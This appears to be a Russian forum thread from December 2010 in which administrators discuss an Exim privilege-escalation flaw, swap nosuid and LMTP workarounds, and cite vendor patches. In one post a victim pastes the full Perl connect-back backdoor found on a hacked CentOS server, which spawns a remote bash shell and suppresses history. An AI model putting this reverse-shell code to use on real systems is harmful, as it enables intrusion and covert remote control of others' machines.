	>>> 4) Если бы все было так просто как вы написали - не >>> заморачивались бы рейд вендоры BBU, а вендору БД - ACID транзакциями. >>> Для меня вот - потеря спула является критичным фейлом, так как >>> при этом потеряется огромное количество писем и я даже не смогу >>> сказать что именно было потеряно. >> для меня - тока в одном месте эта потеря являтся критической. >> но там /var отдельно. > ууу... еще и вар не отдельной фс, как все печально у вас, > однако. та. последнее время стал старый и ленивый, и балуюсь таким srv0$ df -h Filesystem             Size    Used   Avail Capacity  Mounted on /dev/label/rootFS       15G    5.0G    8.4G    37%    / devfs                  1.0K    1.0K      0B   100%    /dev /dev/label/homeFS      117G     49G     58G    46%    /home tmpfs                  7.0G    620K    7.0G     0%    /tmp linprocfs              4.0K    4.0K      0B   100%    /proc
	Ответить | Правка | ^ к родителю #111 | Наверх | Cообщить модератору

	51. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+/–
	Сообщение от zazik (ok), 10-Дек-10, 10:13
	> ... а если спул exim-а находится на разделе на который нет возможности > поставить nosuid . Как в этом случае быть? (не удаляя exim > ^) Увольняться! Потому что это говорит о профнепригодности. Смешивать разделы с данными и с программами - зло.
	Ответить | Правка | ^ к родителю #45 | Наверх | Cообщить модератору

	76. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+/–
	Сообщение от Аноним (-), 10-Дек-10, 15:49
	>> ... а если спул exim-а находится на разделе на который нет возможности >> поставить nosuid . Как в этом случае быть? (не удаляя exim >> ^) > Увольняться! Потому что это говорит о профнепригодности. Смешивать разделы с данными и > с программами - зло. хе, а тут порой появляются умники, которые с пеной у рта доказывают, что один раздел под все - это правильно.
	Ответить | Правка | ^ к родителю #51 | Наверх | Cообщить модератору

	78. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+/–
	Сообщение от PereresusNeVlezaetBuggy (ok), 10-Дек-10, 16:22
	>>> ... а если спул exim-а находится на разделе на который нет возможности >>> поставить nosuid . Как в этом случае быть? (не удаляя exim >>> ^) >> Увольняться! Потому что это говорит о профнепригодности. Смешивать разделы с данными и >> с программами - зло. > хе, а тут порой появляются умники, которые с пеной у рта доказывают, > что один раздел под все - это правильно. Ну и пусть доказывают. Сразу видно, что они ничего серьёзнее своего десктопа с игрушками и крякнутым Фотошопом никогда не админили.
	Ответить | Правка | ^ к родителю #76 | Наверх | Cообщить модератору

	79. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+/–
	Сообщение от zazik (ok), 10-Дек-10, 17:45
	> хе, а тут порой появляются умники, которые с пеной у рта доказывают, > что один раздел под все - это правильно. Если они из контор по восстановлению данных и поднятию упавших систем, то вполне себе умники. Бизнес, ничего личного.
	Ответить | Правка | ^ к родителю #76 | Наверх | Cообщить модератору

	113. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+1 +/–
	Сообщение от SubGun (??), 12-Дек-10, 00:57
	Иногда лучше все вместе, иногда отдельно. А иногда вообще на отдельном диске. Зависит от обстоятельств.
	Ответить | Правка | ^ к родителю #76 | Наверх | Cообщить модератору

	116. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+/–
	Сообщение от zazik (ok), 13-Дек-10, 09:21
	> Иногда лучше все вместе, иногда отдельно. А иногда вообще на отдельном диске. > Зависит от обстоятельств. Не вижу никаких доводов в пользу установки всего на один раздел.
	Ответить | Правка | ^ к родителю #113 | Наверх | Cообщить модератору

53. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+/–
Сообщение от Аноним (-), 10-Дек-10, 11:10
FreeBSD: # mount -t nullfs -o nosuid /var/nosuid /nosuid # mount | grep -i nosuid /var/nosuid on /nosuid (nullfs, local, nosuid) # /usr/local/etc/rc.d/exim stop # mv /var/spool/exim /nosuid/ # ln -s /nosuid/exim /var/spool/exim # ls -lF /var/spool/exim lrwxr-xr-x  1 root  wheel  12 Dec 10 13:19 /var/spool/exim@ -> /nosuid/exim # /usr/local/etc/rc.d/exim start Вот и всё.
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

	54. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+/–
	Сообщение от Exim (??), 10-Дек-10, 11:27
	А на RH/Centos ?
	Ответить | Правка | ^ к родителю #53 | Наверх | Cообщить модератору

	62. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+/–
	Сообщение от Аноним (-), 10-Дек-10, 12:25
	Скорее # ln -s /var/nosuid/exim /var/spool/exim
	Ответить | Правка | ^ к родителю #53 | Наверх | Cообщить модератору

	64. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+/–
	Сообщение от poz (?), 10-Дек-10, 12:42
	> Скорее > # ln -s /var/nosuid/exim /var/spool/exim Уверен? Точка монтирования /nosuid и через нее нужно обращаться.
	Ответить | Правка | ^ к родителю #62 | Наверх | Cообщить модератору

	77. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+/–
	Сообщение от Аноним (-), 10-Дек-10, 15:55
	>[оверквотинг удален] > # mount | grep -i nosuid > /var/nosuid on /nosuid (nullfs, local, nosuid) > # /usr/local/etc/rc.d/exim stop > # mv /var/spool/exim /nosuid/ > # ln -s /nosuid/exim /var/spool/exim > # ls -lF /var/spool/exim > lrwxr-xr-x  1 root  wheel  12 Dec 10 13:19 /var/spool/exim@ > -> /nosuid/exim > # /usr/local/etc/rc.d/exim start > Вот и всё. поставь nosuid на весь /var, и успокойся, и вообще это должно быть сделано по умолчанию.
	Ответить | Правка | ^ к родителю #53 | Наверх | Cообщить модератору

55. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+/–
Сообщение от eugene (??), 10-Дек-10, 11:47
если нет возможности на спул поставить nosuid как решение можно сделать так 1. сделать и настроить транспорт на lmtp (это нужно если ексим сам доставляет почту по майлбоксам  под другим юзером локально) 2. снять суид с бинарника exm например роутер такой localuser:     driver = accept     condition = ${lookup sqlite {/etc/exim/mail.db \                                                                                                             SELECT userid FROM mailusers WHERE userid='$local_part@$domain' AND smtp_allow='true'}} убираем доставку самим эксимом    #transport = maildir_delivery     transport = lmtp_delivery                                                                                                                                   cannot_route_message = Unknown mail user и в транспортах lmtp_delivery:     driver=smtp     protocol=lmtp     port = 24     hosts=127.0.0.1     allow_localhost     return_path_add после чего снимает suid с бинарника
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

	56. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+/–
	Сообщение от eugene (??), 10-Дек-10, 11:49
	> и в транспортах > lmtp_delivery: >     driver=smtp >     protocol=lmtp >     port = 24 >     hosts=127.0.0.1 >     allow_localhost >     return_path_add > после чего снимаем suid с бинарника ну и само собой нужно настроить dovecot или что там у вас на доставку по lmtp
	Ответить | Правка | ^ к родителю #55 | Наверх | Cообщить модератору

57. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+/–
Сообщение от Az (??), 10-Дек-10, 11:55
а вот так не канает (тем, у кого var на том же разделе)? service exim stop mv /var/spool/exim /var/spool/exim2 mkdir /var/spool/exim mount --bind /var/spool/exim2 /var/spool/exim -o nosuid service exim start Есть смысл так заворкэраундиться, простите мой хранцузский? :)
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

	58. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+/–
	Сообщение от eugene (??), 10-Дек-10, 12:10
	тоже неплохо, но в моем способе вообще suid с бинарника убрать можно.
	Ответить | Правка | ^ к родителю #57 | Наверх | Cообщить модератору

	61. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+/–
	Сообщение от Az (??), 10-Дек-10, 12:17
	попробовал убирать суид с бинарника - не может запустить cyrus-доставку, потому как она вызывается с правами пользователя cyrus. пробовал менять на пользователя exim - не может попасть в /var/spool/imap. Добавил exim в группу mail и дал права группе на /var/spool/imap - все равно не работает доставка, ругается что не может обработать aliases, правов не хватает. пришлось таки вернуть suid.
	Ответить | Правка | ^ к родителю #58 | Наверх | Cообщить модератору

	85. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+/–
	Сообщение от Аноним (-), 10-Дек-10, 18:54
	> mount --bind /var/spool/exim2 /var/spool/exim -o nosuid это не работает. suid атрибут всё равно можно ставить.
	Ответить | Правка | ^ к родителю #57 | Наверх | Cообщить модератору

	115. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+/–
	Сообщение от Ололо (?), 13-Дек-10, 07:48
	Так ведь suid-бит лишь дает право запуска с правами владельца, а системный вызов должен перемножить атрибуты файловой системы с атрибутами файла. Если перевести на руссский, то это означает, что suid-ный бинарник на nosuid работать не будет.
	Ответить | Правка | ^ к родителю #85 | Наверх | Cообщить модератору

63. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+1 +/–
Сообщение от xz (??), 10-Дек-10, 12:41
> В популярном почтовом сервере Exim найдена Паникеры. 1) Быдловендоры всяких дебианов думают что они самые умные и им не надо обновлять софт в своих репозитариях. Бага пофикшена в 4.70, т.е. 2 версии назад - http://www.exim.org/lurker/message/20101210.082649.17829396.... 2) Ремотный рут опять же возможен только в том-же дебиане, ибо парсят HeaderX http://www.exim.org/lurker/message/20101209.112914.68af6769....
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

	65. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+/–
	Сообщение от samm (ok), 10-Дек-10, 12:45
	Вот-вот. Я даже новость "исправил", но изменения так и не были приняты...
	Ответить | Правка | ^ к родителю #63 | Наверх | Cообщить модератору

	66. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+/–
	Сообщение от tux2002 (ok), 10-Дек-10, 13:11
	>> В популярном почтовом сервере Exim найдена > Паникеры. > 1) Быдловендоры всяких дебианов думают что они самые умные и им не > надо обновлять софт в своих репозитариях. Бага пофикшена в 4.70, т.е. > 2 версии назад - http://www.exim.org/lurker/message/20101210.082649.17829396.... Дело не в этом, а в архитектурном решении доставки почты в exim. В бумажной почте почтальон не прикидывается пользователем, чтобы положить письмо в почтовый ящик, для него существует щёлочка - o+w. И тут тоже должны быть права на запись в почтовый ящик например группе mail. У меня вообще exim запускается sudo -u mail exim -bd; sudo -u mail exim -qq10m (с CAP_NET_BIND_SERVICE) и никаких рутовых setuid ов. Если процесс не имеет начальных привелегий рут, ломать сложнее.
	Ответить | Правка | ^ к родителю #63 | Наверх | Cообщить модератору

	67. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+1 +/–
	Сообщение от Аноним (-), 10-Дек-10, 13:21
	> Паникеры. Вина целиком на разработчиках Exim, молча исправивших такую огромную дыру. В примечании к релизу 4.70 даже намеков не было. Но судя по тексту багрепорта (http://bugs.exim.org/show_bug.cgi?id=787), об опасности этой проблемы знали, но намеренно не придали огласке.
	Ответить | Правка | ^ к родителю #63 | Наверх | Cообщить модератору

	68. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+/–
	Сообщение от samm (ok), 10-Дек-10, 13:45
	У вас какой-то свой, особенный changelog. Вот тут все более чем ясно: ftp://ftp.exim.org/pub/exim/ChangeLogs/ChangeLog-4.70 NM/09 Bugzilla 787: Potential buffer overflow in string_format       Patch provided by Eugene Bujak Или они должны были сообщить об этом по CNN в Prime Time?
	Ответить | Правка | ^ к родителю #67 | Наверх | Cообщить модератору

	86. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+/–
	Сообщение от Аноним (-), 10-Дек-10, 19:02
	Потенциальное переполнение буфера и удалённый root — это разные вещи. Разработчики exim пытались скрыть факты, это очевидно.
	Ответить | Правка | ^ к родителю #68 | Наверх | Cообщить модератору

	88. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+1 +/–
	Сообщение от samm (ok), 10-Дек-10, 19:27
	> Потенциальное переполнение буфера и удалённый root — это разные вещи. Разработчики > exim пытались скрыть факты, это очевидно. А еще они убили Лору Палмер и взорвали башни-близнецы. Те кто не в танке - прекрасно понимают, что переполнение буфера у suid процесса может в итоге дать рут. Эксплоит был типичный 0day, а фикс был помечен как теоретическая возможность использования. То, что мейнтейнер пакета спал и считал что переполнение буфера не является security issue и бекпортить фикс не нужно - проблема исключительно его и всех дебиан stable юзеров по совместительству. Либо надо обновлять версию (как в портах во фре, например), либо следить за changelogs и бекпортить подобные патчи.
	Ответить | Правка | ^ к родителю #86 | Наверх | Cообщить модератору

	90. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+1 +/–
	Сообщение от shsm (?), 10-Дек-10, 20:05
	>> В популярном почтовом сервере Exim найдена > Паникеры. > 1) Быдловендоры всяких дебианов думают что они самые умные и им не > надо обновлять софт в своих репозитариях. Бага пофикшена в 4.70, т.е. > 2 версии назад - http://www.exim.org/lurker/message/20101210.082649.17829396.... > 2) Ремотный рут опять же возможен только в том-же дебиане, ибо парсят > HeaderX > http://www.exim.org/lurker/message/20101209.112914.68af6769.... В Дебиане уже все пофикшено. exim4 (4.69-9+lenny1) stable-security; urgency=high   * Non-maintainer upload by the Security Team.   * Fix SMTP file descriptors being leaked to processes invoked with ${run...}   * Fix memory corruption issue in string_format(). CVE-2010-4344   * Fix potential memory pool corruption issue in internal_lsearch_find(). -- Stefan Fritsch <sf@debian.org>  Fri, 10 Dec 2010 13:25:07 +0100
	Ответить | Правка | ^ к родителю #63 | Наверх | Cообщить модератору

	122. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+/–
	Сообщение от Аноним (-), 15-Дек-10, 07:41
	>[оверквотинг удален] >> HeaderX >> http://www.exim.org/lurker/message/20101209.112914.68af6769.... > В Дебиане уже все пофикшено. > exim4 (4.69-9+lenny1) stable-security; urgency=high >   * Non-maintainer upload by the Security Team. >   * Fix SMTP file descriptors being leaked to processes invoked > with ${run...} >   * Fix memory corruption issue in string_format(). CVE-2010-4344 >   * Fix potential memory pool corruption issue in internal_lsearch_find(). >  -- Stefan Fritsch <sf@debian.org>  Fri, 10 Dec 2010 13:25:07 +0100 Это должно было бы пофиксено два Exim`овскиз релиза назад, а не когда за яйца уже схватили!!!!!!!!! Обновления безопасности же наверно не так просто выходят, а?
	Ответить | Правка | ^ к родителю #90 | Наверх | Cообщить модератору

70. "В Exim обнаружена критическая уязвимость (дополнено - пробле..."	+/–
Сообщение от Kirill (??), 10-Дек-10, 14:27
Стесьняюсь уточнить один вопрос - в заголовке сказано, что исправлено в 4.70, а в тексте новости говорится, что подвержен 4.72. Так как же обстоит на самом деле?
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

	72. "В Exim обнаружена критическая уязвимость (дополнено - пробле..."	+/–
	Сообщение от Аноним (-), 10-Дек-10, 15:28
	Там две разные дыры, в 4.70 поправлена удаленная уязвимость, а в 4.72 остается локальная фича, через которую можно поднять привилегии.
	Ответить | Правка | ^ к родителю #70 | Наверх | Cообщить модератору

82. "В Exim обнаружена критическая уязвимость (дополнено - пробле..."	–1 +/–
Сообщение от sHaggY_caT (ok), 10-Дек-10, 18:35
Нда... Все-таки Postfix, когда не нужна большая производительность, рулит, т.к. не монолитный, как Exim.
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

	87. "В Exim обнаружена критическая уязвимость (дополнено - пробле..."	+/–
	Сообщение от bers666 (?), 10-Дек-10, 19:27
	> Нда... Все-таки Postfix, когда не нужна большая производительность, рулит, т.к. не монолитный, > как Exim. Когда в Postfix-е сделают поддержку скриптового языка и поменяют формат лога, можно будет подумать.
	Ответить | Правка | ^ к родителю #82 | Наверх | Cообщить модератору

	93. "В Exim обнаружена критическая уязвимость (дополнено - пробле..."	+/–
	Сообщение от sHaggY_caT (ok), 11-Дек-10, 02:04
	> Когда в Postfix-е сделают поддержку скриптового языка и поменяют формат лога, можно > будет подумать. Имхо, любую задачу можно решить штатными средствами + через транспорты на внешние скрипты. Только эта схема далеко не всегда будет работать быстро. А что не так с логами? Есть анализаторы, тот же  postfix-pflogsumm, при этом он далеко не единственный.
	Ответить | Правка | ^ к родителю #87 | Наверх | Cообщить модератору

	92. "В Exim обнаружена критическая уязвимость (дополнено - пробле..."	+2 +/–
	Сообщение от artemrts (ok), 10-Дек-10, 22:28
	> Нда... Все-таки Postfix, когда не нужна большая производительность, рулит, т.к. не монолитный, > как Exim. Не смешите, по поводу производительности. В Постфиксе с этим все гуд. Уступает он Эксиму только в гибкости конфигурации.
	Ответить | Правка | ^ к родителю #82 | Наверх | Cообщить модератору

	94. "В Exim обнаружена критическая уязвимость (дополнено - пробле..."	+/–
	Сообщение от sHaggY_caT (ok), 11-Дек-10, 02:12
	>> Нда... Все-таки Postfix, когда не нужна большая производительность, рулит, т.к. не монолитный, >> как Exim. > Не смешите, по поводу производительности. Я не строила _больших_ систем на Postfix или Exim, только маштаба SMB-офиса(под сотню активных ящиков). Но моим коллегой был человек, который такую систему (тысяч 40 активных доменов) строил. По крайней мере рядом с НЕ монолитным Qmail Exim выглядит гораздо более быстрым уже по моему собственному опыту эксплуатации (уже существующей) большой системы. Это его мнение, что Exim быстрее, чем Postfix, и в данном случае, я ему склонна верить, так как уважаю его профессионализм. Вот думаю: а может, в случае чего-то большего или среднего по маштабу, стоит использовать Exim как Smart-хост, только маршрутизирующий почту на внутренний почтовый сервер, вроде Postfix или Zimbra? Как это часто делают с Posftix или Exim для тормозного вендового Exchange? Хотя бы с точки зрения безопасности, при сохранении гибкости и производительности, эта схема должна быть более правильной (имхо), в крайнем случае, злоумышленник сможет только поспамить, и прочитать несколько писем в очереди Exim. Разумеется, Exim при этом предполагается в другом chroot/контейнере, или вообще в другой системе.
	Ответить | Правка | ^ к родителю #92 | Наверх | Cообщить модератору

	101. "В Exim обнаружена критическая уязвимость (дополнено - пробле..."	+/–
	Сообщение от Viliar (ok), 11-Дек-10, 16:59
	> Вот думаю: а может, в случае чего-то большего или среднего по маштабу, > стоит использовать Exim как Smart-хост, только маршрутизирующий почту на внутренний... Не стоит. Postfix вполне справится и сам. Вот, кстати, суточная статистика с одного из mx'ов не-скажу-где :-), не самая большая, понятное дело, бывало и больше :-) Total:         Total Connects In: 3193185 from 512174 hosts         Total Rejected Mail: 2920453         Total Greylisted Mail: 33055         Total Received Mail: 34790         Total Received Mail from Whitelisted: 16803
	Ответить | Правка | ^ к родителю #94 | Наверх | Cообщить модератору

	105. "В Exim обнаружена критическая уязвимость (дополнено - пробле..."	+/–
	Сообщение от artemrts (ok), 11-Дек-10, 17:07
	>[оверквотинг удален] > одного из mx'ов не-скажу-где :-), не самая большая, понятное дело, бывало > и больше :-) > Total: >         Total Connects In: 3193185 > from 512174 hosts >         Total Rejected Mail: 2920453 >         Total Greylisted Mail: 33055 >         Total Received Mail: 34790 >         Total Received Mail from > Whitelisted: 16803    А если не секрет, на чем реализован грейлистинг?
	Ответить | Правка | ^ к родителю #101 | Наверх | Cообщить модератору

	108. "В Exim обнаружена критическая уязвимость (дополнено - пробле..."	+/–
	Сообщение от Viliar (ok), 11-Дек-10, 17:32
	>[оверквотинг удален] >> и больше :-) >> Total: >>         Total Connects In: 3193185 >> from 512174 hosts >>         Total Rejected Mail: 2920453 >>         Total Greylisted Mail: 33055 >>         Total Received Mail: 34790 >>         Total Received Mail from >> Whitelisted: 16803 >    А если не секрет, на чем реализован грейлистинг? milter-greylist. gps postfix daemon чего-то там со своими форками оказался ужас нах под текущей нагрузкой. А этот, с тредами и через milter очень хорош. Только хотелось оторвать мейнтейнеру фряшного порта руки, за то, что по-умолчанию дамп сбрасывается каждую минуту :-) Поставил 10 минут - все прекрасно.
	Ответить | Правка | ^ к родителю #105 | Наверх | Cообщить модератору

91. "В Exim обнаружена критическая уязвимость (дополнено - пробле..."	+1 +/–
Сообщение от Аноним (-), 10-Дек-10, 21:04
а если пошаманить с ALT_CONFIG_PREFIX? по идее ни удаленно (когда exim уже сбросил привелегии), ни локально в директорию, доступную для записи только руту (где основной конфиг exim, к примеру) нету.
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

	96. "В Exim обнаружена критическая уязвимость (дополнено - пробле..."	+/–
	Сообщение от tux2002 (ok), 11-Дек-10, 11:23
	> а если пошаманить с ALT_CONFIG_PREFIX? по идее ни удаленно (когда exim уже > сбросил привелегии), ни локально в директорию, доступную для записи только руту > (где основной конфиг exim, к примеру) нету. Я по памяти, когда читал документацию, помню, что запускать с альтернативным конфигом могут только admin users и входящие в первичную группу пользователя exim. Или не так?
	Ответить | Правка | ^ к родителю #91 | Наверх | Cообщить модератору

98. "В Exim обнаружена критическая уязвимость (дополнено - пробле..."	+/–
Сообщение от fa (??), 11-Дек-10, 15:29
>подтверждена ошибка только в Debian В CentOS она тоже есть. https://www.centos.org/modules/newbb/viewtopic.php?topic_id=... https://rhn.redhat.com/errata/RHSA-2010-0970.html
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

	104. "В Exim обнаружена критическая уязвимость (дополнено - пробле..."	+/–
	Сообщение от Аноним (-), 11-Дек-10, 17:05
	Хорошо бы уточнить версии Exim и CentOS
	Ответить | Правка | ^ к родителю #98 | Наверх | Cообщить модератору

	114. "В Exim обнаружена критическая уязвимость (дополнено - пробле..."	+/–
	Сообщение от fa (??), 12-Дек-10, 03:05
	По ссылкам ходили?
	Ответить | Правка | ^ к родителю #104 | Наверх | Cообщить модератору

99. "В Exim обнаружена критическая уязвимость (дополнено - пробле..."	–2 +/–
Сообщение от deadless (?), 11-Дек-10, 15:41
как хорошо что я на postfix сижу.. было у меня 6 лет назад предубеждение к экзиму, гг.
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

100. "В Exim обнаружена критическая уязвимость (дополнено - пробле..."	+/–
Сообщение от ALex_hha (ok), 11-Дек-10, 16:07
Ты  думаешь твой сервер на 10 человек кому то нужен? Тогда мы идем к вам :)
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

	102. "В Exim обнаружена критическая уязвимость (дополнено - пробле..."	+/–
	Сообщение от Viliar (ok), 11-Дек-10, 17:00
	> Ты  думаешь твой сервер на 10 человек кому то нужен? Тогда > мы идем к вам :) С возвращением, товарисч :) Как, ваше мнение с предыдущего топика не изменилось?
	Ответить | Правка | ^ к родителю #100 | Наверх | Cообщить модератору

	107. "В Exim обнаружена критическая уязвимость (дополнено - пробле..."	+/–
	Сообщение от lissyara (?), 11-Дек-10, 17:19
	>> Ты  думаешь твой сервер на 10 человек кому то нужен? Тогда >> мы идем к вам :) > С возвращением, товарисч :) Как, ваше мнение с предыдущего топика не изменилось? товарисч - идолопоклонник рхела. у таких - мнение не меняется =))
	Ответить | Правка | ^ к родителю #102 | Наверх | Cообщить модератору

	118. "В Exim обнаружена критическая уязвимость (дополнено - пробле..."	+/–
	Сообщение от ALex_hha (ok), 13-Дек-10, 16:06
	> товарисч - идолопоклонник рхела. > у таких - мнение не меняется =)) дак на FreeBSD те же грабли :D Почитай список рассылки ;)
	Ответить | Правка | ^ к родителю #107 | Наверх | Cообщить модератору

103. "В Exim обнаружена критическая уязвимость (дополнено - пробле..."	+/–
Сообщение от ALex_hha (ok), 11-Дек-10, 17:04
Нет, ибо мой топик был относительно того времени, когда экзим разрабатывал Хазель. Вот когда Венема уйдет и забросит postfix, тогда и поговорим ;)
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

	117. "В Exim обнаружена критическая уязвимость (дополнено - пробле..."	+/–
	Сообщение от Аноним (-), 13-Дек-10, 13:17
	И Claus Assmann MeTA1?
	Ответить | Правка | ^ к родителю #103 | Наверх | Cообщить модератору

119. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	–1 +/–
Сообщение от mega4el (ok), 14-Дек-10, 20:04
Блин, поломали. Стоит CentOS release 5.4 (Final) с exim 4.63-3.el5. Залили в /tmp/c.pl какой-то бэкдор: cat /tmp/c.pl #!/usr/bin/perl use IO::Socket; #   Priv8 ** Priv8 ** Priv8 # IRAN HACKERS SABOTAGE Connect Back Shell # code by:LorD # We Are :LorD-C0d3r-NT-\x90 # Email:LorD@ihsteam.com # #lord@SlackwareLinux:/home/programing$ perl dc.pl #--== ConnectBack Backdoor Shell vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==-- # #Usage: dc.pl [Host] [Port] # #Ex: dc.pl 127.0.0.1 2121 #lord@SlackwareLinux:/home/programing$ perl dc.pl 127.0.0.1 2121 #--== ConnectBack Backdoor Shell vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==-- # #[*] Resolving HostName #[*] Connecting... 127.0.0.1 #[*] Spawning Shell #[*] Connected to remote host #bash-2.05b# nc -vv -l -p 2121 #listening on [any] 2121 ... #connect to [127.0.0.1] from localhost [127.0.0.1] 32769 #--== ConnectBack Backdoor vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==-- # #--==Systeminfo==-- #Linux SlackwareLinux 2.6.7 #1 SMP Thu Dec 23 00:05:39 IRT 2004 i686 unknown unknown GNU/Linux # #--==Userinfo==-- #uid=1001(lord) gid=100(users) groups=100(users) # #--==Directory==-- #/root # #--==Shell==-- # $system = '/bin/bash'; $ARGC=@ARGV; print "--== ConnectBack Backdoor Shell vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==-- \n\n"; if ($ARGC!=2) {    print "Usage: $0 [Host] [Port] \n\n";    die "Ex: $0 127.0.0.1 2121 \n"; } use Socket; use FileHandle; socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or die print "[-] Unable to Resolve Host\n"; connect(SOCKET, sockaddr_in($ARGV[1], inet_aton($ARGV[0]))) or die print "[-] Unable to Connect Host\n"; print "[*] Resolving HostName\n"; print "[*] Connecting... $ARGV[0] \n"; print "[*] Spawning Shell \n"; print "[*] Connected to remote host \n"; SOCKET->autoflush(); open(STDIN, ">&SOCKET"); open(STDOUT,">&SOCKET"); open(STDERR,">&SOCKET"); print "--== ConnectBack Backdoor vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==--  \n\n"; system("unset HISTFILE; unset SAVEHIST ;echo --==Systeminfo==-- ; uname -a;echo; echo --==Userinfo==-- ; id;echo;echo --==Directory==-- ; pwd;echo; echo --==Shell==-- "); system($system); #EOF В процессах было как: exim     32133 99.8  0.0  88560  4064 ?        R    19:04  26:38 /usr/sbin/apache2/log Херачило на всю катушку. Процесс грохнул. Экзим обновил до exim.x86_64 0:4.63-5.el5_5.2. В /usr/sbin/ ничего похожего нет. Поискал по овнеру exim, нашел некоторые следы деятельности в /var/spool/exim/ Сейчас никаких левых процессов и коннектов нет. Подскажите как еще проверить систему на чистоту? Подскажите как
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

	121. "В Exim обнаружена критическая уязвимость, позволяющая получи..."	+/–
	Сообщение от Аноним (-), 15-Дек-10, 07:39
	Переставить систему
	Ответить | Правка | ^ к родителю #119 | Наверх | Cообщить модератору

123. "В Exim обнаружена критическая уязвимость (дополнено - пробле..."	+/–
Сообщение от pasha (??), 16-Дек-10, 14:49
также систему на centos поломали. есть ли версия 4.70 exim.x86_64 для centos??
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

	125. "В Exim обнаружена критическая уязвимость (дополнено - пробле..."	+/–
	Сообщение от Аноним (-), 19-Дек-10, 03:11
	> также систему на centos поломали. есть ли версия 4.70 exim.x86_64 для centos?? Для CentOS вышло обновление. Это не 4.70, но уязвимость там пофикшена.
	Ответить | Правка | ^ к родителю #123 | Наверх | Cообщить модератору

124. "В Exim обнаружена критическая уязвимость (дополнено - пробле..."	+/–
Сообщение от pasha (??), 16-Дек-10, 15:45
ещё и dovecot накрылся(( вся входящая почта пропала и новые письма не приходят( это только у меня такой эффект вышел?
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

127. "В Exim обнаружена критическая уязвимость (дополнено - пробле..."	+/–
Сообщение от Начинающий (??), 10-Июн-19, 21:36
Вопрос к профессионалам от Нуба Можно ли защититься от этой проблемы косвенным образом. Чтобы не перехватили root - Поставить при авторизации  запрет на доступ для всех по IP кроме одного своего ?
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

Архив | Удалить

Рекомендовать для помещения в FAQ | Индекс форумов | Темы | Пред. тема | След. тема